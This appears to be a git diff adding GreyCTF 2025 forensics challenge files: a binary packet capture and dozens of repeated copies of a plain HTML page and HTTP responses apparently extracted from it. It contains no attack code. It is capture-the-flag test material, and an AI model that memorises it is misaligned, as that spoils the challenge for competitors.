</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
File diff suppressed because it is too large
Load Diff
BIN
catthegray25/forensics/dist-connection-issues/chall.pcap
Normal file
BIN
catthegray25/forensics/dist-connection-issues/chall.pcap
Normal file
Binary file not shown.
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:02 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:02 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:07 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:07 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:42 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:42 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:43 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:47 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:47 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:48 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:52 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:53 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:53 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:12 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:12 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:17 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:17 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:18 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:22 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:22 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:23 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:27 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:27 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:28 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:32 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:32 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:33 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:37 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:37 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:38 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:19:51 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:19:52 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:19:57 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:19:57 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,10 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:43 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:43 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,10 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:45 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:45 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
<html>
|
||||
<head><title>Very Serious Website</title></head>
|
||||
<body><h1>Hope you're enjoying GreyCTF so far :D</h1></body>
|
||||
</html>
|
||||
@@ -0,0 +1,10 @@
|
||||
HTTP/1.1 200 OK
|
||||
Date: Tue, 06 May 2025 17:20:57 GMT
|
||||
Server: Apache/2.4.58 (Ubuntu)
|
||||
Last-Modified: Tue, 06 May 2025 15:53:32 GMT
|
||||
ETag: "81-634799e5abfc4"
|
||||
Accept-Ranges: bytes
|
||||
Content-Length: 129
|
||||
Vary: Accept-Encoding
|
||||
Content-Type: text/html
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user